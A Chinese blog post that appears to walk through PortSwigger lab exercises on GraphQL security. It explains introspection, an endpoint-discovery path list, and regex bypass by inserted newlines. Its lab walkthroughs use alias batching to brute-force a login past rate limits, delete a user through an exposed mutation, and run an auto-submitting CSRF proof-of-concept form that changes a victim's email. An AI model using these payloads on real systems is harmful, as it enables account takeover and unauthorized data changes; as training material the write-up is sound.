基于Burp靶场的Graphql接口攻击面

介绍

基本情况

GraphQL使用户能够准确指定他们想要在响应中获取的数据,从而有助于避免 REST API 中有时会出现的大型响应对象和多次调用

GraphQL使用面向对象的思想,去除了传统api使用的繁琐构造,例如api/getUser, api/getAdmin等,也避免了各种各样的http请求,使用query直接进行后端api查询,mutation进行api的增删改

多数使用POST方法,请求体提交格式为JSON

Schema模式

!字段代表必选

在 GraphQL 中,模式代表服务前端和后端之间的契约。它使用人类可读的模式定义语言将可用数据定义为一系列类型。然后可以由服务实现这些类型

定义的大多数类型都是对象类型。它们定义可用的对象及其具有的字段和参数。每个字段都有自己的类型,可以是另一个对象或标量、枚举、联合、接口或自定义类型

下面的示例显示了 Product 类型的简单架构定义

    #Example schema definition
    type Product {
        id: ID!
        name: String!
        description: String!
        price: Int
    }

查询Query

查询通常具有以下关键组成部分:

  • 操作类型query。它明确地告诉服务器传入的请求是查询
  • 查询名称。可以是任何名称
  • 数据结构。这是查询应返回的数据
  • 可选,一个或多个参数。这些参数用于创建返回特定对象详细信息的查询(例如“提供 ID 为 123 的产品的名称和说明”)
    #Example query
    query myGetProductQuery {
        getProduct(id: 123) {
            name
            description
        }
    }

产品在架构中包含的字段可能比此处请求的字段更多。请求所需数据的能力是 GraphQL 灵活性的重要组成部分

突变Mutation

Mutation以某种方式更改数据,包括添加、删除或编辑数据。大致相当于 REST APIPOST、PUT 和 DELETE 方法

与查询一样,Mutations具有操作类型、名称和返回数据的结构。但是,Mutations始终接受某种类型的输入。这可以是内联值,但在实践中通常以变量形式提供

以下示例展示了创建新产品及其相关响应的变更。在本例中,服务配置为自动为新产品分配一个 ID,该 ID 已按请求返回

#请求例子
    mutation {
        createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
            id
            name
            listed
        }
    }
#响应例子
    {
        "data": {
            "getEmployees": [
            {
                "name" {
                    "firstname": Carlos,
                    "lastname": Montoya
                    }
                }
            ]
        }
    }

内省漏洞出现数据过长,使用inql查看结果

查询和突变的组成部分

字段

所有 GraphQL 类型都包含可查询数据项(称为字段)。发送查询或变更时,您可以指定希望 API 返回哪些字段。响应会反映请求中指定的内容

以下示例显示了获取所有员工 ID 和姓名详细信息及其相关响应的查询。在本例中,idname.firstnamename.lastname是请求的字段。即name对象的字段

#Request
    query myGetEmployeeQuery {
        getEmployees {
            id
            name {
                firstname
                lastname
            }
        }
    }
  #Response
    {
        "data": {
            "getEmployees": [
                {
                    "id": 1,
                    "name" {
                        "firstname": "Carlos",
                        "lastname": "Montoya"
                    }
                },
                {
                    "id": 2,
                    "name" {
                        "firstname": "Peter",
                        "lastname": "Wiener"
                    }
                }
            ]
        }
    }

参数

参数是为特定字段提供的值。类型可以接受的参数在架构中定义

当发送包含参数的查询或变更时,GraphQL 服务器会根据其配置确定如何响应。例如,它可能会返回特定对象,而不是所有对象的详细信息

下面的示例显示了一个getEmployee以员工 ID 作为参数的请求。在这种情况下,服务器仅响应与该 ID 匹配的员工的详细信息

#Example query with arguments
query myGetEmployeeQuery {
	getEmployees(id:1) {
		name {
			firstname
			lastname
		}
	}
}
#Response to query
{
	"data": {
		"getEmployees": [
		{
			"name" {
				"firstname": Carlos,
				"lastname": Montoya
				}
			}
		]
	}
}

变量

变量使您能够传递动态参数,而不是直接在查询本身中拥有参数

基于变量的查询使用的结构与使用内联参数的查询相同,但查询的某些方面取自单独的基于 JSON 的变量字典。它们使您可以在多个查询中重复使用通用结构,而只有变量本身的值会发生变化

构建使用变量的查询或mutations时,需要:

  • 声明变量和类型
  • 在查询中的适当位置添加变量名称
  • 从变量字典中传递变量键和值

下面的示例显示了与上一个示例相同的查询,但是 ID 作为变量传递,而不是作为查询字符串的直接部分传递

#Example query with variable
query getEmployeeWithVariable($id: ID!) {
	getEmployees(id:$id) {
		name {
			firstname
			lastname
		}
	 }
}
Variables:
{
	"id": 1
}

在此示例中,变量在第一行中用 ( $id: ID!) 声明。!表示这是此查询的必填字段

别名

GraphQL 对象不能包含多个同名的属性。例如,以下查询无效,因为它尝试product两次返回类型

#Invalid query
query getProductDetails {
	getProduct(id: 1) {
		id
		name
	}
	getProduct(id: 2) {
		id
		name
	}
}

别名可通过明确命名希望 API 返回的值来绕过此限制。可以使用别名在一次请求中返回同一类型对象的多个实例。这有助于减少所需的 API 调用次数

在以下示例中,查询使用别名来为两种产品指定唯一名称。此查询已返回信息

#Valid query using aliases
query getProductDetails {
	product1: getProduct(id: "1") {
		id
		name
	}
	product2: getProduct(id: "2") {
		id
		name
	}
}
#Response to query
{
	"data": {
		"product1": {
			"id": 1,
			"name": "Juice Extractor"
		 },
		"product2": {
			"id": 2,
			"name": "Fruit Overlays"
		}
	}
}

有效地使用具有变异的别名使您能够在一个 HTTP 请求中发送多个 GraphQL 消息。
有关如何使用此技术绕过某些速率限制控制的更多信息,请参阅使用别名绕过速率限制。

片段

片段是查询或突变的可重用部分。它们包含属于关联类型的字段子集
一旦定义,它们就可以包含在查询或突变中。如果它们随后发生变化,则更改将包含在调用该片段的每个查询或突变中。
下面的示例显示了一个getProduct查询,其中产品的详细信息包含在productInfo片段中

#Example fragment
fragment productInfo on Product {
	id
	name
	listed
}
#Query calling the fragment
query {
	getProduct(id: 1) {
		...productInfo
		stock
	}
}
#Response including fragment fields
{
	"data": {
		"getProduct": {
			"id": 1,
			"name": "Juice Extractor",
			"listed": "no",
			"stock": 5
		}
	}
}

订阅

订阅是一种特殊类型的查询。它们使客户端能够与服务器建立长期连接,这样服务器就可以将实时更新推送到客户端,而无需不断轮询数据。它们主要用于对大型对象进行小幅更改以及需要小幅实时更新的功能(如聊天系统或协作编辑)

与常规查询和变异一样,订阅请求定义了要返回的数据的形状

订阅通常使用WebSockets实现

内省

Introspection 是一个内置的 GraphQL 函数,可让您查询服务器以获取有关架构的信息。它通常由 GraphQL IDE 和文档生成工具等应用程序使用

与常规查询一样,您可以指定要返回的响应的字段和结构。例如,您可能希望响应仅包含可用突变的名称

自省可能带来严重的信息泄露风险,因为它可能被用来访问潜在的敏感信息(例如字段描述)并帮助攻击者了解如何与 API 交互。在生产环境中禁用自省是最佳做法

敏感路径

/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/api/graphql
/api/graphiql
/graphql/api
/graphql/console
/console
/playground
/gql
/query
/graphql-devtools
/graphql-explorer
/graphql-playground
/graphql.php
/index.php?graphql
/graphql
/graphql-console
/graphql-devtools
/graphql-explorer
/graphql-playground
/graphql-playground-html
/graphql.php
/graphql/console
/graphql/graphql
/graphql/graphql-playground
/graphql/schema.json
/graphql/schema.xml
/graphql/schema.yaml
/graphql/v1
/HyperGraphQL
/je/graphql
/laravel-graphql-playground
/lol/graphql
/portal-graphql
/v1/api/graphql
/v1/graphql
/v1/graphql-explorer
/v1/graphql.php
/v1/graphql/console
/v1/graphql/schema.json
/v1/graphql/schema.xml
/v1/graphql/schema.yaml
/v2/api/graphql
/v2/graphql
/v2/graphql-explorer
/v2/graphql.php
/graph
/graphql/console/
/graphiql
/graphiql.php
/api

漏洞探测

查找 GraphQL 端点

在测试 GraphQL API 之前,首先需要找到其端点。由于 GraphQL API 对所有请求都使用相同的端点,因此这是一条很有价值的信息

通用查询

发送query{__typename}到任何 GraphQL 端点,它将{"data": {"__typename": "query"}}在其响应中的某个位置包含该字符串。这称为通用查询,是探测 URL 是否对应于 GraphQL 服务的有用工具

查询有效,因为每个 GraphQL 端点都有一个保留字段,__typename该字段以字符串形式返回查询对象的类型

通用端点名称

GraphQL 服务通常使用类似的端点后缀。测试 GraphQL 端点时,您应该尝试将通用查询发送到以下位置:

  • /graphql
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql
  • 参见敏感路径

如果这些常见端点没有返回 GraphQL 响应,可尝试附加/v1到路径

GraphQL 服务通常会对任何非 GraphQL 请求做出“查询不存在”或类似错误的响应。

请求方法

尝试查找 GraphQL 端点的下一步是使用不同的请求方法进行测试

生产 GraphQL 端点的最佳做法是仅接受内容类型为 的 POST 请求application/json,因为这有助于防范 CSRF 漏洞。但是,某些端点可能会接受替代方法,例如使用 x-www-form-urlencoded内容类型的 GET 请求或 POST 请求

如果无法通过向通用端点发送 POST 请求来找到 GraphQL 端点,请尝试使用其他 HTTP 方法重新发送通用查询

{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
{"query":"query Query {\n    __schema {\n      queryType { name }\n      mutationType { name }\n      subscriptionType { name }\n      types {\n        ...FullType\n      }\n      directives {\n        name\n        description\n        locations\n        args {\n          ...InputValue\n        }\n      }\n    }\n  }\n\n  fragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n      name\n      description\n      args {\n        ...InputValue\n      }\n      type {\n        ...TypeRef\n      }\n      isDeprecated\n      deprecationReason\n    }\n    inputFields {\n      ...InputValue\n    }\n    interfaces {\n      ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n      name\n      description\n      isDeprecated\n      deprecationReason\n    }\n    possibleTypes {\n      ...TypeRef\n    }\n  }\n\n  fragment InputValue on __InputValue {\n    name\n    description\n    type { ...TypeRef }\n    defaultValue\n  }\n\n  fragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n      kind\n      name\n      ofType {\n        kind\n        name\n        ofType {\n          kind\n          name\n          ofType {\n            kind\n            name\n            ofType {\n              kind\n              name\n              ofType {\n                kind\n                name\n                ofType {\n                  kind\n                  name\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }"}

通过以上方式获得存在的字段

或者通过burp插件InQL

在这里插入图片描述

发现架构信息

测试 API 的下一步是将有关底层模式的信息拼凑在一起
最好的方法是使用自省查询。自省是一个内置的 GraphQL 函数,可让您查询服务器以获取有关架构的信息
自省可让你了解如何与 GraphQL API 交互。它还可能泄露潜在的敏感数据,例如描述字段

使用自省

要使用自省来发现架构信息,请查询该__schema字段。此字段在所有查询的根类型上可用
与常规查询一样,可以指定运行自省查询时要返回的响应的字段和结构。例如,您可能希望响应仅包含可用mutations的名称。

Burp 可生成自省查询。使用自省访问 GraphQL API 模式

探索自省

在生产环境中禁用自省是最佳做法
可使用以下简单查询来探测自检。如果启用了自检,响应将返回所有可用查询的名称

#Introspection probe request
    {
        "query": "{__schema{queryType{name}}}"
    }

Burp Scanner 可以在扫描过程中自动测试自省。如果发现自省已启用,则会报告“GraphQL 自省已启用”问题

运行完整的自省查询

下一步是对端点运行完整的自省查询,以便您可以获得有关底层模式的尽可能多的信息。
下面的示例查询返回所有查询、变异、订阅、类型和片段的完整详细信息

 #Full introspection query
    query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }

如果启用了自省但上述查询未运行,请尝试从查询结构中 删除onOperationonFragmentonField指令。许多端点不接受这些指令作为自省查询的一部分,通过删除它们,您通常可以更成功地进行自省

可视化自省结果

对内省查询的响应可能包含大量信息,但通常很长且难以处理

可以使用GraphQL 可视化工具 更轻松地查看架构实体之间的关系。这是一个在线工具,它获取自省查询的结果并生成返回数据的可视化表示,包括操作和类型之间的关系

[!note]
该工具只提供Query请求的可视化,不包含Mutation操作

建议

即使完全禁用自省,有时也可以使用建议来收集有关 API 结构的信息

Suggestions是 Apollo GraphQL 平台的一项功能,服务器可以在错误消息中建议查询修改。这些通常用于查询略有错误但仍可识别的情况(例如There is no entry for 'productInfo'. Did you mean 'productInformation' instead?

可以从中收集到有用的信息,因为响应实际上泄露了schema的有效部分

Clairvoyance是一款使用建议自动恢复全部或部分 GraphQL 架构的工具,即使在禁用自省的情况下也是如此。这大大减少了从建议响应中拼凑信息所花费的时间

漏洞绕过

绕过 GraphQL 自省防御

如果无法针对正在测试的 API 运行内省查询,请尝试在__schema关键字后插入特殊字符

开发可能使用正则表达式来排除__schema查询中的关键字。可尝试空格、换行符和逗号等字符,因为 GraphQL 会忽略它们,但有缺陷的正则表达式不会

因此,如果开发仅排除了__schema{,那么下面的自省查询将不会被排除

    #自省查询换了一行避免了正则
    {
        "query": "query{__schema
        {queryType{name}}}"
    }

如果此方法无效,请尝试通过其他请求方法运行探测,因为自省只能通过 POST 禁用。尝试 GET 请求,或内容类型为 x-www-form-urlencoded的 POST 请求

下面的示例展示了通过 GET 发送的内省探测,带有 URL 编码的参数

GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

使用别名绕过速率限制进行Dos攻击

通常,GraphQL 对象不能包含多个同名的属性。通过显式命名希望 API 返回的属性,别名可绕过此限制。您可以使用别名在一个请求中返回同一类型对象的多个实例

虽然别名旨在限制需要进行的 API 调用的数量,但它们也可用于强制执行 GraphQL 端点
许多端点都会设置某种速率限制器来防止暴力攻击。一些速率限制器基于收到的 HTTP 请求数而不是在端点上执行的操作数来工作。由于别名实际上允许在单个 HTTP 消息中发送多个查询,因此它们可以绕过此限制

下面的简化示例显示了一系列别名查询,用于检查商店折扣代码是否有效。此操作可能会绕过速率限制,因为它是单个 HTTP 请求,尽管它可能用于同时检查大量折扣代码

  #Request with aliased queries
    query isValidDiscount($code: Int) {
        isvalidDiscount(code:$code){
            valid
        }
        isValidDiscount2:isValidDiscount(code:$code){
            valid
        }
        isValidDiscount3:isValidDiscount(code:$code){
            valid
        }
    }

漏洞防御

处理内省

如 API 不打算供公众使用,请禁用其自省功能。这会使攻击者更难获取有关 API 工作原理的信息,并降低不必要的信息泄露风险

有关如何在 Apollo GraphQL 平台中禁用自省的信息,请参阅此博客文章

如果 API 旨在供公众使用,那么可能需要启用自省功能。但是,应该检查 API 的架构,以确保它不会向公众公开非预期字段

确保API 模式不会暴露任何私人用户字段,例如电子邮件地址或用户 ID

防止 GraphQL 暴力攻击

使用 GraphQL API 时,有时可以绕过标准速率限制。有关此示例,请参阅使用别名绕过速率限制部分

考虑到这一点,您可以采取一些设计步骤来保护您的 API 免受暴力攻击。这通常涉及限制 API 接受的查询的复杂性,并减少攻击者执行拒绝服务 (DoS) 攻击的机会

方法

限制 API 查询的查询深度。术语“查询深度”是指查询中的嵌套层数。嵌套过多的查询可能会对性能产生重大影响,并且如果被接受,可能会为 DoS 攻击提供机会。通过限制 API 接受的查询深度,您可以降低发生这种情况的可能性。
配置操作限制。操作限制使您能够配置 API 可以接受的唯一字段、别名和根字段的最大数量。
配置查询可以包含的最大字节数
考虑在您的 API 上实施成本分析。成本分析是应用程序在收到查询时识别与运行查询相关的资源成本的过程。如果查询的计算复杂度过高而无法运行,API 会将其丢弃

通过 GraphQL 预防 CSRF

为了特别防御 GraphQL CSRF 漏洞,在设计 API 时请确保以下几点:

  • API 仅接受通过 JSON 编码的 POST 进行的查询。
  • API 验证提供的内容是否与提供的内容类型相匹配。
  • 该API具有安全的CSRF-Token机制。

Burp靶场GraphQL题目

一. 获得未展示变量值

提示文章内存在一个密钥

找到博客查询数据包,第四篇的长这样

POST /graphql/v1 HTTP/2
Host: 0a4d005303b2d90780a421fe00350022.web-security-academy.net
Cookie: session=dLHqBaeL5xaIgl6VjHlViADHQprX0sHF
Content-Length: 249
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0a4d005303b2d90780a421fe00350022.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4d005303b2d90780a421fe00350022.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i

{"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {\n            image\n            title\n            author\n            date\n            paragraphs\n        }\n    }","operationName":"getBlogPost","variables":{"id":4}}

修改variables里的值,四篇博客id分别为1,2,4,5,少了3,修改id为3

发现一篇隐藏博客,根据提示找密码,使用提交数据发现postPassword字段,工作也可用inql完成

再看以上请求的POST数据

{"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {\n            image\n            title\n            author\n            date\n            paragraphs\n        }\n    }","operationName":"getBlogPost","variables":{"id":4}}

尝试添加postPassword字段,发现不行

删除一个字段改为postPassword,成功获得密钥

这里graphql的利用点在于内省获得所有变量,然后拿到了未展示的变量postPassword的值

二. 自省暴露多个接口,后端危险操作

提示需要管理员登录后台删掉一个用户.登录接口是用graphql制作的

尝试登录一次,有数据包

POST /graphql/v1 HTTP/1.1
Host: 0abf00c603590dee80342b3b000b00f6.web-security-academy.net
Cookie: session=NY06IFPJzohasBoVJPPJm9DYQVzUdPYS
Content-Length: 231
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close

{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"admin","password":"admin"}}}

发现query字段和graphql经典格式,http历史记录也发现了路径https://url/graphql/v1
直接放给InQL分析

在这里插入图片描述

三. 寻找构造隐藏graphql请求

进入靶场,找不到任何graphql字样,发现路径api正常访问,访问返回query is not present根据前置知识,判断存在graphql

构造请求url/api?query=query{__typename}返回query,证实

尝试构造自省payload,利用以上数据包,提示被禁用,根据学习,开发可能是根据正则匹配禁用_schema来避免内省查询,而graphql对换行不敏感,构造换行,成功绕过,出现json文件

碰到问题,根据官方教程burp自带graph处理工具,可能版本不够,没看到,懒得找,最后在youtube视频中根据inql插件使用出现的json文件进行所有查询和修改的分析.
成功发现接口

query {
    getUser(id: Int!) {
        id
        username
    }
}

mutation {
    deleteOrganizationUser(input: DeleteOrganizationUserInput) {
        user {
            id
            username
        }
    }
}

通过第一个接口遍历获取到caros的id
获取id后访问第二个接口,由于未明确说明input的构造方式,这里尝试input:3,提示must is object,构造input:{id:3}成功通过

另一种方法是使用新版burp,右键repeater发送graphql请求到sitemap,使用新版burp进行graphql的实验貌似不会出现input后的提交格式需要fuzz的问题,笔者未作尝试.

四. 利用别名绕过速率限制器的Dos攻击

实验环境需爆破用户密码,设有速率限制器,快速请求超过五次即锁定一分钟,但是环境登录采用graphql,因此可使用别名进行爆破

登录请求数据包:

POST /graphql/v1 HTTP/2
Host: 0a2b00cb039774bf811198b90094000f.web-security-academy.net

{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"admin","password":"aaaaaaa"}}}

对路径url/graphql/v1放到inql,解析json获得内省数据

发现登录采用的mutations:

mutation {
    login(input: LoginInput) {
        success
        token
    }
}

右键发送repeater,得到请求体

{"query": "mutation {\r\n    login(input: LoginInput) {\r\n        success\r\n        token\r\n    }\r\n}"}

要变动的即LoginInput,请求数据包显示变量username和password,构造这两个变量为logininput的值,注意对双引号进行转义

{"query": "mutation {\r\n    logintest1:login(input:{username:\"dd\",password:\"ddd\"}) {\r\n        success\r\n        token\r\n    } }"}

得到回显

{
  "data": {
    "logintest1": {
      "token": "AfzEQIMcm5XZICQYERVY6F7jlMd4IgU3",
      "success": false
    }
}

使用别名一次请求,多个数据绕过速率限制

{"query": "mutation {\r\n    logintest1:login(input:{username:\"dd\",password:\"ddd\"}) {\r\n        success\r\n        token\r\n    } \r\n logintest2:login(input:{username:\"dd\",password:\"ddd\"}) {\r\n        success\r\n        token\r\n    }\r\n}"}

回显

{
  "data": {
    "logintest1": {
      "token": "AfzEQIMcm5XZICQYERVY6F7jlMd4IgU3",
      "success": false
    },
    "logintest2": {
      "token": "AfzEQIMcm5XZICQYERVY6F7jlMd4IgU3",
      "success": false
    }
}

使用burpsuite脚本生成该格式密码本,发送请求,得到logintest27success为true,因此密码为对应的777777

登录即可解决

CSRF配合graphql

使用给定账号登录,存在修改邮箱接口,使用graphql,数据包如下

POST /graphql/v1 HTTP/2
Host: 0ad7000a039995d58146399f0071007a.web-security-academy.net
Content-Type: application/json

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"a@a.com"}}}

根据之后的变量,variables只有一个值,因此构造input后的changeemailinput值为{email:\"a@a.com\"}

尝试构造请求

{
  "query": "mutation { changeEmail(input: {email: \"a@a.com\"}) { email } }"
}

发送成功

接下来考虑CSRF利用,CSRF是以HTML表单格式发送请求,因此数据包的类型应该严格遵守格式标准,具体看GPT回答

在构造GraphQL的JSON请求时,你可以选择性地忽略一些字段,如"operationName"和"variables",这是因为GraphQL服务器在处理请求时具有一定的灵活性,而HTTP表单编码(x-www-form-urlencoded)的请求格式则严格要求每个字段都需要明确地提供。
具体来说:
GraphQL JSON请求的灵活性:
operationName:在GraphQL中,如果你只执行一个操作(查询或变更),则可以省略operationName。operationName主要用于批量操作或者有多个操作时,用来区分具体执行哪个操作。
variables:如果你的GraphQL操作(查询或变更)不需要变量,那么你可以省略variables字段。如果需要变量,你也可以直接在查询字符串中内联这些变量,而不使用variables字段。
例如,下面的GraphQL请求在没有operationName和variables的情况下依然可以正常工作:
{"query": "mutation { changeEmail(input: {email: \"a@a.com\"}) { email } }"}
x-www-form-urlencoded请求的严格性:
x-www-form-urlencoded是传统的表单数据编码格式,每个字段都必须明确指定,因为服务器会按照这些字段解析并处理请求。如果缺少必要字段,服务器通常会返回错误,提示请求不完整或格式不正确。
例如,对于GraphQL请求,使用x-www-form-urlencoded时,必须提供完整的字段,如下所示:query=mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B+changeEmail%28input%3A+%24input%29+%7B+email+%7D+%7D&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22a%40a.com%22%7D%7D
简而言之,GraphQL的JSON格式请求由于其设计上的灵活性,可以省略一些字段而不影响请求的处理。而x-www-form-urlencoded格式由于其传统和严格的解析方式,要求所有字段都必须明确提供,以确保服务器能够正确解析和处理请求

更换两次请求方法,确保使用application/x-www-form-urlencoded进行CSRF poc构造
同时,标准数据包post提交数据应为xxx=xxxx格式,根据graphql请求,此处应为query=xxx

在这里插入图片描述

POST /graphql/v1 HTTP/2
Host: 0ad7000a039995d58146399f0071007a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 271

query=++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

响应

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 81

{
  "data": {
    "changeEmail": {
      "email": "hacker@hacker.com"
    }
  }
}

右键请求-相关工具-生成CSRFPOC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ad7000a039995d58146399f0071007a.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#32;&#32;&#32;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#32;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;hacdddker&#64;hacker&#46;com&quot;&#125;&#125;" />
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

复制HTML-打开实验室漏洞利用场景-发送给受害人-成功

现实生活中没有人会使用两个同样的邮箱,在这之前进行测试时我的邮箱就hacker@hacker[.]com因此编辑CSRFPOC时需要注意修改邮箱地址

参考链接

Burp官方文档,可移步burp靶场graphql实验文档

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值